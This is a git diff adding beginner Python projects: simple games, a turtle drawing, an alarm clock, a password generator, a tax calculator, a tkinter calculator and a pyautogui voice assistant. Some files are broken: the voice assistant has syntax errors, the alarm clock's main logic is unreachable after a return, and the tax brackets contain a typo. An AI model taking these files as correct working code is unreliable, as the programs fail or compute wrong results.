computer_choice = rd.randint(0, 2) + + print(available_choice[computer_choice]) + + if user_choice == computer_choice: + + is_draw = True + + elif user_choice == 0 and computer_choice == 1: + + won = True + + elif user_choice == 1 and computer_choice == 2: + + won = True + + elif user_choice == 2 and computer_choice == 0: + + won = True + + if is_draw: + + print("It's A Draw") + + elif won: + + score += 1 + print(r"You Won! (:") + + else: + if score > 0: + score -= 1 + + print("You Lost! ):") + + print(f"Score: {score}") + + else: + + print("Invalid Input Entered! Please Try Again") + + restart = input("Try Again? (y/n): ").lower() + + if restart != "y": + break diff --git a/Projects/shinchan/shinchan.py b/Projects/shinchan/shinchan.py new file mode 100644 index 000000000..0bc4e4cb9 --- /dev/null +++ b/Projects/shinchan/shinchan.py @@ -0,0 +1,553 @@ +from turtle import * + +s=Screen() +s.screensize(700,1000) +speed(5) +def myPosition(x, y): + penup() + goto(x, y) + pendown() + +pensize(2) +def ankur(): + fillcolor('#ffec40') + begin_fill() + right(25) + forward(20) + right(45) + forward(20) + left(70) + forward(90) + left(95) + forward(75) + left(85) + forward(175) + left(85) + forward(75) + left(95) + forward(90) + left(85) + forward(18) + end_fill() + +def leftLeg(): + myPosition(-39,-25) + fillcolor("#ffd699") + begin_fill() + right(89) + forward(25) + right(90) + forward(50) + right(90) + forward(20) + right(85) + forward(50) + end_fill() + +def leftSock(): + myPosition(-36,-78) + fillcolor("#ffffff") + begin_fill() + right(90) + circle(80,13) + right(110) + forward(22) + right(85) + forward(19) + right(90) + forward(21) + end_fill() + +def leftShoe(): + myPosition(-69,-112) + fillcolor("#b5ae60") + begin_fill() + right(90) + left(5) + forward(56) + left(105) + forward(13) + left(75) + forward(20) + right(90) + forward(15) + circle(10,15) + left(80) + forward(4) + circle(10,15) + left(40) + circle(20,15) + forward(10) + right(45) + forward(15) + circle(25,25) + end_fill() + +def rightLeg(): + myPosition(60,-28) + fillcolor("#ffd699") + begin_fill() + #right(90) + left(128) + forward(25) + right(95) + forward(55) + right(90) + forward(20) + right(85) + forward(55) + end_fill() + +def rightSock(): + myPosition(64,-79) + fillcolor("#ffffff") + begin_fill() + right(90) + circle(90,14) + right(110) + forward(23) + right(90) + forward(15) + right(80) + forward(21) + end_fill() + +def rightShoe(): + myPosition(64,-108) + fillcolor("#b5ae60") + begin_fill() + right(100) + forward(56) + left(160) + forward(25) + right(68) + forward(17) + left(90) + circle(18,15) + forward(5) + left(75) + forward(11) + right(85) + forward(20) + left(45) + circle(10,30) + left(25) + forward(5) + end_fill() + +def myShirt(): + myPosition(-75,48) + fillcolor("red") + begin_fill() + left(72) + forward(185) + left(87) + forward(75) + right(68) + circle(20,8) + circle(300,23) + left(90) + circle(35,17) + right(38) + circle(35,17) + left(58) + forward(75) + right(12) + forward(140) + right(40) + forward(93) + left(120) + circle(-20,65) + left(75) + forward(10) + left(23) + forward(88) + #circle(-80,10) + right(31) + forward(87) + right(180) + forward(108) + right(180) + forward(104) + circle(10,70) + end_fill() + +def myHead(): + myPosition(-20,295) + left(20) + pensize(2) + fillcolor('#fcc6a0') + begin_fill() + right(90) + forward(40) + right(90) + circle(50,80) + left(10) + circle(50,80) + left(2) + circle(200,50) + + left(48) + forward(60) + #left(20) + circle(45,60) + right(5) + circle(100,85) + end_fill() + fillcolor('black') + begin_fill() + + pensize(2) + right(170) + circle(-100,165) + right(78) + forward(26) + right(87) + forward(55) + circle(45,60) + right(5) + circle(100,85) + end_fill() + + fillcolor('#fcc6a0') + begin_fill() + right(180) + circle(-100,105) + right(37) + forward(49) + pensize(2) + left(130) + forward(30) + #right(5) + circle(-10,70) + right(50) + #circle(10,10) + forward(36) + right(80) + forward(50) + pencolor('#fcc6a0') + right(90) + forward(30) + + end_fill() + +def rightHand(): + #left(35) + myPosition(197,209) + pencolor('black') + fillcolor('#fcc6a0') + begin_fill() + right(45) + forward(6) + left(55) + forward(20) + circle(-5,70) + right(100) + forward(18) + left(105) + forward(18) + circle(-5,70) + right(100) + forward(18) + left(145) + forward(15) + circle(-5,70) + right(100) + forward(18) + + left(150) + forward(13) + circle(-5,70) + right(100) + forward(15) + + left(150) + forward(10) + circle(-5,70) + right(100) + forward(12) + circle(60,10) + left(45) + forward(6) + right(90) + forward(10) + end_fill() + +def leftHand(): + myPosition(-94,242) + fillcolor('#fcc6a0') + begin_fill() + right(10) + forward(6) + left(90) + penup() + forward(12) + pendown() + left(90) + forward(8) + left(90) + forward(12) + end_fill() + +def myBis(): + myPosition(-103,291) + right(90) + fillcolor('#02d302') + begin_fill() + right(90) + forward(55) + left(80) + forward(12) + left(10) + forward(17) + left(10) + forward(12) + left(80) + forward(55) + left(80) + forward(12) + left(10) + forward(17) + left(10) + forward(12) + left(80) + left(80) + forward(12) + left(10) + forward(17) + left(10) + forward(12) + end_fill() + penup() + right(100) + forward(20) + right(90) + forward(14) + pendown() + pencolor('#9c5e4a') + fillcolor('#9c5e4a') + begin_fill() + for i in range(5): + forward(15) + right(144) + end_fill() + penup() + forward(27) + left(90) + forward(16) + left(90) + forward(7) + pendown() + fillcolor('#9c5e4a') + begin_fill() + for i in range(5): + forward(10) + right(144) + end_fill() + penup() + forward(20) + right(90) + forward(5) + pendown() + fillcolor('#9c5e4a') + begin_fill() + for i in range(5): + forward(10) + right(144) + end_fill() + penup() + right(180) + forward(6) + pendown() + fillcolor('#9c5e4a') + begin_fill() + for i in range(5): + forward(10) + right(144) + end_fill() + +def leftHand2(): + myPosition(-112,284) + pencolor('black') + fillcolor('#fcc6a0') + begin_fill() + right(180) + forward(31) + left(90) + for i in range(2): + circle(4,90) + #circle(4//2,45) + for i in range(3): + right(180) + for i in range(2): + circle(4,90) + end_fill() + +def myMouth(): + myPosition(-25,200) + left(65) + fillcolor('#77332e') + begin_fill() + #circle(20) + #forward(20) + for i in range(2): + circle(25,90) + circle(25//2,90) + end_fill() + +def myEyebrow(x,y): + myPosition(x,y) + pensize(18) + right(150) + forward(25) + right(90) + for i in range(1): + right(45) + dot(15) + left(55) + forward(25) + for i in range(1): + right(45) + dot(15) + +def myEyelid(x,y): + myPosition(x,y) + pensize(2) + left(170) + circle(-23,180) + +def myallEyes1(x,y): + myPosition(x,y) + right(90) + fillcolor('#000000') + begin_fill() + circle(18) + end_fill() + left(90) + penup() + forward(19) + right(90) + forward(7) + pendown() + fillcolor('#ffffff') + begin_fill() + left(90) + circle(9) + end_fill() + +def myallEyes2(x,y): + myPosition(x,y) + right(90) + fillcolor('#000000') + begin_fill() + circle(18) + end_fill() + left(90) + penup() + forward(19) + right(90) + forward(8) + pendown() + fillcolor('#ffffff') + begin_fill() + left(90) + circle(9) + end_fill() + +def myRobot(): + myPosition(155,-105) + left(93) + color('red') + pensize(7) + + begin_fill() + forward(50) + left(90) + forward(50) + left(90) + forward(50) + left(90) + forward(50) + left(90) + end_fill() + + + color('white') + penup() + left(90) + forward(30) + right(90) + forward(12) + pendown() + pensize(3) + circle(5) + penup() + forward(25) + pendown() + circle(5) + + penup() + right(90) + forward(20) + right(90) + pendown() + + begin_fill() + forward(23) + right(90) + forward(7) + right(90) + forward(23) + right(90) + forward(7) + right(90) + end_fill() + + penup() + forward(25) + right(90) + forward(35) + pendown() + + color('red') + forward(30) + penup() + right(90) + pendown() + begin_fill() + circle(5) + end_fill() + +def allLegs(): + leftLeg() + leftSock() + leftShoe() + rightLeg() + rightSock() + rightShoe() +def allHands(): + rightHand() + leftHand() + myBis() + leftHand2() +def allEyebrows(): + myEyebrow(-8,300) + right(90) + myEyebrow(72,300) + myEyelid(-9,270) + left(15) + myEyelid(68,265) +def allEyes(): + myallEyes1(17,275) + myallEyes2(95,270) +ankur() +allLegs() +myShirt() +myHead() +allHands() +myMouth() +allEyebrows() +allEyes() +myRobot() +ht() +done() diff --git a/Projects/simple_alarm_clock/simple_alarm_clock.py b/Projects/simple_alarm_clock/simple_alarm_clock.py new file mode 100644 index 000000000..7d0c6a352 --- /dev/null +++ b/Projects/simple_alarm_clock/simple_alarm_clock.py @@ -0,0 +1,123 @@ +""" Alarm Clock + +---------------------------------------- + +This Command Line Interface (CLI) Python application is a good step up for a beginner developer. More than just setting off an alarm, this program allows certain YouTube links to be added to a text file. When a user sets an alarm, the code picks a random video and starts playing it. + +""" + +import datetime + +import os + +import time + +import random + +import webbrowser + +# If video URL file does not exist, create one + +if not os.path.isfile("youtube_alarm_videos.txt"): + + print('Creating "youtube_alarm_videos.txt"...') + +with open("youtube_alarm_videos.txt", "w") as alarm_file: + + alarm_file.write("https://www.youtube.com/watch?v=anM6uIZvx74") + + +def check_alarm_input(alarm_time): + """Checks to see if the user has entered in a valid alarm time""" + + if len(alarm_time) == 1: # [Hour] Format + + if alarm_time[0] < 24 and alarm_time[0] >= 0: + + return True + + if len(alarm_time) == 2: # [Hour:Minute] Format + + if alarm_time[0] < 24 and alarm_time[0] >= 0 and alarm_time[1] < 60 and alarm_time[1] >= 0: + + return True + + elif len(alarm_time) == 3: # [Hour:Minute:Second] Format + + if alarm_time[0] < 24 and alarm_time[0] >= 0 and alarm_time[1] < 60 and alarm_time[1] >= 0 and alarm_time[2] < 60 and alarm_time[2] >= 0: + + return True + + return False + + # Get user input for the alarm time + + print("Set a time for the alarm (Ex. 06:30 or 18:30:00)") + + while True: + + alarm_input = input(">> ") + + try: + + alarm_time = [int(n) for n in alarm_input.split(":")] + + if check_alarm_input(alarm_time): + + break + + else: + + raise ValueError + + except ValueError: + + print("ERROR: Enter time in HH:MM or HH:MM:SS format") + + # Convert the alarm time from [H:M] or [H:M:S] to seconds + + # Number of seconds in an Hour, Minute, and Second + seconds_hms = [3600, 60, 1] + + alarm_seconds = sum( + [a*b for a, b in zip(seconds_hms[:len(alarm_time)], alarm_time)]) + + # Get the current time of day in seconds + + now = datetime.datetime.now() + + current_time_seconds = sum( + [a*b for a, b in zip(seconds_hms, [now.hour, now.minute, now.second])]) + + # Calculate the number of seconds until alarm goes off + + time_diff_seconds = alarm_seconds - current_time_seconds + + # If time difference is negative, set alarm for next day + + if time_diff_seconds < 0: + + time_diff_seconds += 86400 # number of seconds in a day + + # Display the amount of time until the alarm goes off + + print("Alarm set to go off in %s" % + datetime.timedelta(seconds=time_diff_seconds)) + + # Sleep until the alarm goes off + + time.sleep(time_diff_seconds) + + # Time for the alarm to go off + + print("Wake Up!") + + # Load list of possible video URLs + + with open("youtube_alarm_videos.txt", "r") as alarm_file: + + videos = alarm_file.readlines() + + # Open a random video from the list + + webbrowser.open(random.choice(videos)) diff --git a/Projects/strong_password/Strong-Password b/Projects/strong_password/Strong-Password new file mode 100644 index 000000000..c7be4cb94 --- /dev/null +++ b/Projects/strong_password/Strong-Password @@ -0,0 +1,53 @@ +import string , random as rd + +print('******************* :) ------Make Your Deivces Free From The Hackers & The Unauthorized Persons------ (:*********************') + + +no_low_char=int(input('Enter The No.Of Lower_Characters You Want In Your Password : ')) + +no_upper_char=int(input('Enter The No.Of Upper_Characters You Want In Your Password : ')) + +no_special_char=int(input('Enter The No.Of Special_Charecters You Want In Your Password : ')) + +lower_case=[] + +upper_case=[] + +special_case=['~','`','!','@','#','$','%','^','&','*','.','/','|','_','+','-','=',':',';',',','?'] + +password_list=[] + +password='' + +for letter in string.ascii_lowercase: #By Using This For Loop We Can Access All LowerCase Alphabets + lower_case.append(letter) + +for letter in string.ascii_uppercase: #By Using This For Loop We Can Access All UpperCase Alphabets + upper_case.append(letter) + +for i in range(0,no_low_char): + temp1=rd.choice(lower_case) + password += temp1 + lower_case.remove(temp1) #This Line Is The Beauty Of The Code It Resists The Repetion Of The Chacaters + +for i in range(0,no_upper_char): + temp2=rd.choice(upper_case) + password += temp2 + upper_case.remove(temp2) #This Line Is The Beauty Of The Code It Resists The Repetion Of The Chacaters + +for i in range(0,no_special_char): + temp3=rd.choice(special_case) + password += temp3 + special_case.remove(temp3) #This Line Is The Beauty Of The Code It Resists The Repetion Of The Chacaters + +password_list=list(password) #We Cannot Shuffle The String That's Why We Are Converting This To List Data Structure + +rd.shuffle(password_list) + +sample='' + +for letters in password_list: + + sample+=letters + +print(f'Now You Have Such A Strong Password In The Universe <3 : {sample}') diff --git a/Projects/taxation_calculation/taxation_calculation.py b/Projects/taxation_calculation/taxation_calculation.py new file mode 100644 index 000000000..6558eac6e --- /dev/null +++ b/Projects/taxation_calculation/taxation_calculation.py @@ -0,0 +1,26 @@ +#Parnani Panda +active=True +while active: + message=input("Hey") + if message.lower()=="quit": + active=False + else: + name=input("Enter your name:") + salary=int(input("enter your salary :")) + + if(salary<=250000): + print("no tax for you") + elif((salary>2500000) and(salary<=500000)): + tax=salary/20 + print("your tax slab is 5% and your tax is",tax) + elif((salary>500000)and (salary<=750000)): + tax=salary/10 + print("your tax slab is 10% and your tax is ",tax) + elif((salary>750000)and (salary<=1000000)): + tax=15*salary/100 + print("your tax slab is 15% and your tax is ",tax) + else: + tax=salary/5 + print("your tax slab is 20% and your tax is ",tax) + + \ No newline at end of file diff --git a/Projects/text_cleaner/README.md b/Projects/text_cleaner/README.md new file mode 100644 index 000000000..1151fef55 --- /dev/null +++ b/Projects/text_cleaner/README.md @@ -0,0 +1,37 @@ +# Punctuation and numbers removal + +Remove punctuation and/or numbers from a text. + +## Usage + +```py +> python remove_punctuation_number.py --mode [mode] --filepath [filepath] +``` + +Mode can be one of the following: + +- **n** - for removing numbers +- **p** - for removing punctuation +- **np** - for removing numbers and punctuation + +The processed text will be saved in the same directory as the input file, with the suffix "_n"/"_p"/"_np" (depending on the mode selected). + +### Example + +```py +>>> python remove_punctuation_number.py --mode np --filepath test_file.txt +Saved the processed file to 'test_file_removed_np.txt' +``` + +``` +test_file.txt +String with, puncts?! +And 1 some 89 numbers 2. +:) +``` + +``` +test_file_removed_np.txt +String with puncts +And some numbers +``` \ No newline at end of file diff --git a/Projects/text_cleaner/remove_punctuation_numbers.py b/Projects/text_cleaner/remove_punctuation_numbers.py new file mode 100644 index 000000000..9169bb2a2 --- /dev/null +++ b/Projects/text_cleaner/remove_punctuation_numbers.py @@ -0,0 +1,55 @@ +import argparse +import re +import string + + +def run(text: str, mode: str) -> str: + """ + Remove the numbers/punctuation from a text. + :param text: a text to process + :param mode: the mode of processing + - n: remove numbers + - p: remove punctuation + - np: remove numbers and punctuation + :return: the processed text + """ + if mode == "n": + text = re.sub(r"[0-9]+", "", text) + elif mode == "p": + text = text.translate(str.maketrans("", "", string.punctuation)) + elif mode == "np": + no_puncts = text.translate(str.maketrans("", "", string.punctuation)) + text = re.sub(r"[0-9]+", "", no_puncts) + else: + raise ValueError(f"Unsupported mode: {mode}") + return text + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument( + "--mode", "-m", choices=["n", "p", "np"], required=True, + help=( + "mode of processing (n - remove numbers, " + "p - remove punctuation, np - remove numbers and punctuation)" + ) + ) + parser.add_argument( + "--filepath", + "-f", + required=True, + help="path to the file" + ) + args = parser.parse_args() + # Open the text file. + with open(args.filepath, "r") as f: + text = f.read() + # Run the processing. + processed_text = run(text, args.mode) + # Save the result. + old_file_name = args.filepath.split("/")[-1].split(".")[0] + new_file_name = old_file_name + f"_removed_{args.mode}" + new_filepath = args.filepath.replace(old_file_name, new_file_name) + with open(new_filepath, "w") as f: + f.write(processed_text) + print(f"Saved the processed file to '{new_filepath}'") \ No newline at end of file diff --git a/Projects/tictactoe/tictactoe.py b/Projects/tictactoe/tictactoe.py new file mode 100644 index 000000000..50a9aae36 --- /dev/null +++ b/Projects/tictactoe/tictactoe.py @@ -0,0 +1,208 @@ +from tkinter import Tk,ttk,Button +from tkinter import messagebox +from random import randint + +ActivePlayer = 1 +p1 = [] +p2 = [] +mov = 0 + +def SetLayout(id,player_symbol): + if id==1: + b1.config(text= player_symbol) + b1.state(['disabled']) + elif id==2: + b2.config(text= player_symbol) + b2.state(['disabled']) + elif id==3: + b3.config(text= player_symbol) + b3.state(['disabled']) + elif id==4: + b4.config(text= player_symbol) + b4.state(['disabled']) + elif id==5: + b5.config(text= player_symbol) + b5.state(['disabled']) + elif id==6: + b6.config(text= player_symbol) + b6.state(['disabled']) + elif id==7: + b7.config(text= player_symbol) + b7.state(['disabled']) + elif id==8: + b8.config(text= player_symbol) + b8.state(['disabled']) + elif id==9: + b9.config(text= player_symbol) + b9.state(['disabled']) + +def CheckWinner(): + global mov + winner = -1 + + if(1 in p1) and (2 in p1) and (3 in p1): + winner = 1 + if(1 in p2) and (2 in p2) and (3 in p2): + winner = 2 + + if(4 in p1) and (5 in p1) and (6 in p1): + winner = 1 + if(4 in p2) and (5 in p2) and (6 in p2): + winner = 2 + + if(7 in p1) and (8 in p1) and (9 in p1): + winner = 1 + if(7 in p2) and (8 in p2) and (9 in p2): + winner = 2 + + if(1 in p1) and (4 in p1) and (7 in p1): + winner = 1 + if(1 in p2) and (4 in p2) and (7 in p2): + winner = 2 + + if(2 in p1) and (5 in p1) and (8 in p1): + winner = 1 + if(2 in p2) and (5 in p2) and (8 in p2): + winner = 2 + + if(3 in p1) and (6 in p1) and ( 9 in p1): + winner = 1 + if(3 in p2) and (6 in p2) and (9 in p2): + winner = 2 + + if(1 in p1) and (5 in p1) and ( 9 in p1): + winner = 1 + if(1 in p2) and (5 in p2) and (9 in p2): + winner = 2 + + if(3 in p1) and (5 in p1) and ( 7 in p1): + winner = 1 + if(3 in p2) and (5 in p2) and (7 in p2): + winner = 2 + + if winner ==1: + messagebox.showinfo(title="Congratulations.", + message="Player 1 is the winner") + elif winner ==2: + messagebox.showinfo(title="Congratulations.", + message="Player 2 is the winner") + elif mov ==9: + messagebox.showinfo(title="Draw", + message="It's a Draw!!") + +def ButtonClick(id): + global ActivePlayer + global p1,p2 + global mov + + if(ActivePlayer ==1): + SetLayout(id,"X") + p1.append(id) + mov +=1 + root.title("Tic Tac Toe : Player 2") + ActivePlayer =2 + + elif(ActivePlayer==2): + SetLayout(id,"O") + p2.append(id) + mov +=1 + root.title("Tic Tac Toe : Player 1") + ActivePlayer =1 + CheckWinner() + +def AutoPlay(): + global p1; global p2 + Empty = [] + for cell in range(9): + if(not((cell +1 in p1) or (cell +1 in p2))): + Empty.append(cell+1) + try: + RandIndex = randint(0,len(Empty) -1) + ButtonClick(Empty[RandIndex]) + except: + pass + +def EnableAll(): + b1.config(text= " ") + b1.state(['!disabled']) + b2.config(text= " ") + b2.state(['!disabled']) + b3.config(text= " ") + b3.state(['!disabled']) + b4.config(text= " ") + b4.state(['!disabled']) + b5.config(text= " ") + b5.state(['!disabled']) + b6.config(text= " ") + b6.state(['!disabled']) + b7.config(text= " ") + b7.state(['!disabled']) + b8.config(text= " ") + b8.state(['!disabled']) + b9.config(text= " ") + b9.state(['!disabled']) + + +def Restart(): + global p1,p2,mov,ActivePlayer + p1.clear(); p2.clear() + mov,ActivePlayer = 0,1 + root.title("Tic Tac Toe : Player 1") + EnableAll() + + + + +root = Tk() +root.title("Tic Tac toe : Player 1") +st = ttk.Style() +st.configure("my.TButton", font=('Chiller',24,'bold')) + +b1 = ttk.Button(root, text=" ", style="my.TButton") +b1.grid(row=1, column=0, sticky="nwse", ipadx=50,ipady=50) +b1.config(command = lambda : ButtonClick(1)) + + +b2 = ttk.Button(root, text=" ",style ="my.TButton") +b2.grid(row=1, column=1, sticky="snew", ipadx=50, ipady=50) +b2.config(command = lambda : ButtonClick(2)) + +b3= ttk.Button(root, text=" ",style="my.TButton") +b3.grid(row=1, column=2, sticky="snew", ipadx=50, + ipady=50) +b3.config(command = lambda : ButtonClick(3)) + +b4 = ttk.Button(root, text=" ",style="my.TButton") +b4.grid(row=2, column=0, sticky="snew", ipadx=50, + ipady=50) +b4.config(command = lambda : ButtonClick(4)) + +b5 = ttk.Button(root, text=" ",style="my.TButton") +b5.grid(row=2, column=1, sticky="snew", ipadx=50, + ipady=50) +b5.config(command = lambda : ButtonClick(5)) + +b6 = ttk.Button(root, text=" ",style="my.TButton") +b6.grid(row=2, column=2, sticky="snew", ipadx=50, + ipady=50) +b6.config(command = lambda : ButtonClick(6)) + +b7 = ttk.Button(root, text=" ",style="my.TButton") +b7.grid(row=3, column=0, sticky="snew", ipadx=50, + ipady=50) +b7.config(command = lambda : ButtonClick(7)) + +b8 = ttk.Button(root, text=" ",style="my.TButton") +b8.grid(row=3, column=1, sticky="snew", ipadx=50, + ipady=50) +b8.config(command = lambda : ButtonClick(8)) + +b9 = ttk.Button(root, text=" ",style="my.TButton") +b9.grid(row=3, column=2, sticky="snew", ipadx=50, + ipady=50) +b9.config(command = lambda : ButtonClick(9)) + +Button(text="New Game..", font=('Courier new', 22, 'bold'), bg='blue', fg='white', + border=5, width=4,command = lambda :Restart()).grid(row=0, column=1, sticky="we") +root.resizable(0,0) +root.mainloop() diff --git a/Projects/tkinter-calculator/tkCal.py b/Projects/tkinter-calculator/tkCal.py new file mode 100644 index 000000000..d77dc3eb8 --- /dev/null +++ b/Projects/tkinter-calculator/tkCal.py @@ -0,0 +1,83 @@ +import tkinter as tk + +window=tk.Tk() +window.title('TK CALCULATOR') + +eqn=" " + +def btnprs(btn): + global eqn + + if(btn=='c'): + eqn='0' + + elif(btn=='='): + result=eval(eqn) + eqn=str(result) + + else: + if(eqn=='0'): + eqn=' ' + + + eqn=eqn+btn + + label2.config(text=eqn) + + +label1=tk.Label(window,text='Tk Calcutator',fg='black',font='HELVITICA 15 bold') +label1.grid(row=0,columnspan=8,padx=5,pady=3) + +label2=tk.Label(window,text='0',bg='white',font='HELVITICA 15 bold',width=15,height=1) +label2.grid(row=1,columnspan=8,padx=5,pady=3) + + +buttons=[tk.Button for i in range(16)] + +buttons[0]=tk.Button(window,text='1',font='HELVITICA 12 bold',width=2,height=1,command=lambda:btnprs('1')) +buttons[0].grid(row=2,column=0,padx=8,pady=8) + +buttons[1]=tk.Button(window,text='2',font='HELVITICA 12 bold',width=2,height=1,command=lambda:btnprs('2')) +buttons[1].grid(row=2,column=1,padx=8,pady=8) + +buttons[2]=tk.Button(window,text='3',font='HELVITICA 12 bold',width=2,height=1,command=lambda:btnprs('3')) +buttons[2].grid(row=2,column=2,padx=8,pady=8) + +buttons[3]=tk.Button(window,text='+',font='HELVITICA 12 bold',width=2,height=1,command=lambda:btnprs('+')) +buttons[3].grid(row=2,column=3,padx=8,pady=8) + +buttons[4]=tk.Button(window,text='4',font='HELVITICA 12 bold',width=2,height=1,command=lambda:btnprs('4')) +buttons[4].grid(row=3,column=0,padx=8,pady=8) + +buttons[5]=tk.Button(window,text='5',font='HELVITICA 12 bold',width=2,height=1,command=lambda:btnprs('5')) +buttons[5].grid(row=3,column=1,padx=8,pady=8) + +buttons[6]=tk.Button(window,text='6',font='HELVITICA 12 bold',width=2,height=1,command=lambda:btnprs('6')) +buttons[6].grid(row=3,column=2,padx=8,pady=8) + +buttons[7]=tk.Button(window,text='-',font='HELVITICA 12 bold',width=2,height=1,command=lambda:btnprs('-')) +buttons[7].grid(row=3,column=3,padx=8,pady=8) + +buttons[8]=tk.Button(window,text='7',font='HELVITICA 12 bold',width=2,height=1,command=lambda:btnprs('7')) +buttons[8].grid(row=4,column=0,padx=8,pady=8) + +buttons[9]=tk.Button(window,text='8',font='HELVITICA 12 bold',width=2,height=1,command=lambda:btnprs('8')) +buttons[9].grid(row=4,column=1,padx=8,pady=8) + +buttons[10]=tk.Button(window,text='9',font='HELVITICA 12 bold',width=2,height=1,command=lambda:btnprs('9')) +buttons[10].grid(row=4,column=2,padx=8,pady=8) + +buttons[11]=tk.Button(window,text='X',font='HELVITICA 12 bold',width=2,height=1,command=lambda:btnprs('*')) +buttons[11].grid(row=4,column=3,padx=8,pady=8) + +buttons[12]=tk.Button(window,text='C',font='HELVITICA 12 bold',width=2,height=1,bg='red',command=lambda:btnprs('c')) +buttons[12].grid(row=5,column=0,padx=8,pady=8) + +buttons[13]=tk.Button(window,text='0',font='HELVITICA 12 bold',width=2,height=1,command=lambda:btnprs('0')) +buttons[13].grid(row=5,column=1,padx=8,pady=8) + +buttons[14]=tk.Button(window,text='=',font='HELVITICA 12 bold',width=2,height=1,bg='light green',command=lambda:btnprs('=')) +buttons[14].grid(row=5,column=2,padx=8,pady=8) + +buttons[15]=tk.Button(window,text='/',font='HELVITICA 12 bold',width=2,height=1,command=lambda:btnprs('/')) +buttons[15].grid(row=5,column=3,padx=8,pady=8) diff --git a/Projects/voice_assistant/voice_assisstant.py b/Projects/voice_assistant/voice_assisstant.py new file mode 100644 index 000000000..69db78f3c --- /dev/null +++ b/Projects/voice_assistant/voice_assisstant.py @@ -0,0 +1,216 @@ +""" +Made by Arpit Sengar +""" + + +import speech_recognition as sr +import pyttsx3 +from pyautogui import* + +r = sr.Recognizer() + +def SpeakText(command): + + engine = pyttsx3.init() + + engine.say(command) + engine.runAndWait() +def count_down() + SpeakText("5") + write('.', interval = 0.25) + SpeakText("4") + write('.', interval = 0.25) + SpeakText("3") + write('.', interval = 0.25) + SpeakText("2") + write('.', interval = 0.25) + SpeakText("1") + + +print('Loading') +write('....', interval = 1) +SpeakText('How can i help you') +print('How can i help you') + + +while(1): + + + try: + + with sr.Microphone() as source2: + + r.adjust_for_ambient_noise(source2, duration=0.2) + + audio2 = r.listen(source2) + MyText = r.recognize_google(audio2) + MyText = MyText.lower() + + + if MyText == "i want to hear a song" or MyText == 'song' or MyText == "play a song" or MyText == "play song" or MyText == "mujhe ek gana sunna hai" : + SpeakText('Okay what song would you like to hear?') + print("Okay what song would you like to hear?") + audio2 = r.listen(source2) + MySong = r.recognize_google(audio2) + MySong = MySong.lower() + keyDown('win') + press('r') + keyUp('win') + write('brave') + press('enter', interval = 3) + write('https://www.youtube.com', interval = 0.1) + press('enter', interval = 4) + press('/') + x = MySong + ' song' + write(x, interval = 0.1) + press('enter', interval = 3) + click(x=300, y= 300, button = 'left') + + + + elif MyText == "decrease the volume" or MyText == "decrease the volume": + SpeakText("Decreasing the volume by 20") + print("Decreasing the volume by 20") + for i in range(11): + press('volumedown') + + + elif MyText == "increase the volume" or MyText == "increase the volume: + SpeakText("Increasing the volume by 20") + print("Increasing the volume by 20") + for i in range(11): + press('volumeup') + + + elif MyText == "mute the volume" or MyText == "mute the volume": + SpeakText("Volume muted") + print("Volume muted") + press('volumemute') + + + elif MyText == "unmute the volume" or MyText == "unmute the volume": + SpeakText("Volume unmuted") + print("Volume unmuted") + press('volumemute') + + + elif MyText == "go to the home screen" or MyText == "home screen": + keyDown('win') + press('d') + keyUp('win') + + + elif MyText == "switch tabs " or MyText == "switch tabs": + SpeakText("Switching tabs") + print("Switching Tabs") + keyDown('alt') + press('tab') + keyUp('alt') + + + elif MyText == "create a desktop" or MyText == "create a desktop " or MyText == "create desktop": + SpeakText("Creating a desktop") + print("Creating a desktop") + keyDown('win') + keyDown('ctrl') + press('d') + keyUp('ctrl') + keyDown('win') + + + elif MyText == "close all the desktops" or MyText == "close all desktops " or MyText == "close all desktops" or MyText == "close desktops": + for i in range(10): + keyDown('win') + keyDown('ctrl') + press('f4') + keyUp('ctrl') + keyDown('win') + SpeakText("all desktops deleted successfully") + print("All desktops deleted successfully") + + + elif MyText == "minimise": + print("Window minimized.") + keyDown('win') + press('down') + keyUp('win') + + + elif MyText == "close this application" or MyText == "close application" : + print("Closing an application") + keyDown('alt') + press('f4') + keyUp('alt') + + + elif MyText == "show me the left desktop" or MyText == "left desktop" or MyText == "left screen": + keyDown('win') + keyDown('ctrl') + press('left') + keyUp('ctrl') + keyDown('win') + + + elif MyText == "show me the right desktop" or MyText == "right desktop" or MyText == "right screen": + keyDown('win') + keyDown('ctrl') + press('right') + keyUp('ctrl') + keyDown('win') + + + elif MyText == "shut down": + SpeakText("shutting down in") + count_down() + keyDown('win') + press('d') + keyUp('win') + keyDown('alt') + press('f4') + keyUp('alt') + press('enter') + + + elif MyText == 'restart' or MyText == 'reboot': + SpeakText("rebooting in") + count_down() + keyDown('win') + press('d') + keyUp('win') + keyDown('alt') + press('f4') + keyUp('alt') + press('down') + press('enter') + + + elif MyText == 'refresh': + keyDown('win') + press('d') + keyUp('win') + for i in range(2): + keyDown('fn') + press('f5') + keyUp('fn') + + + elif MyText == 'maximum volume': + for i in range(50): + press('volumeup') + + + elif MyText == 'enter' or MyText == 'press enter': + press('enter') + + + else: + print("Sorry i could not understand that ") + SpeakText("Sorry i could not understand that") + + + except sr.RequestError as e: + print("Could not request results; {0}".format(e)) + + except sr.UnknownValueError: + print("******") + diff --git a/Projects/youtube_video/youtube.py b/Projects/youtube_video/youtube.py new file mode 100644 index 000000000..71f01e124 --- /dev/null +++ b/Projects/youtube_video/youtube.py @@ -0,0 +1,10 @@ + +from pytube import YouTube + +yt = YouTube('https://www.youtube.com/watch?v=WWhgssiyfwY&list=WL&index=1&t=5s') +print(yt.thumbnail_url) +print(yt.title) + + +my_video=yt.streams.get_highest_resolution() +my_video.download() \ No newline at end of file diff --git a/README.md b/README.md index a17aa16b5..3de875fb6 100644 --- a/README.md +++ b/README.md @@ -1,25 +1,23 @@ -

Python Projects is ready for Hacktoberfest🥳🥳🥳🥳

- - Email Banners-Dark - -

+ +

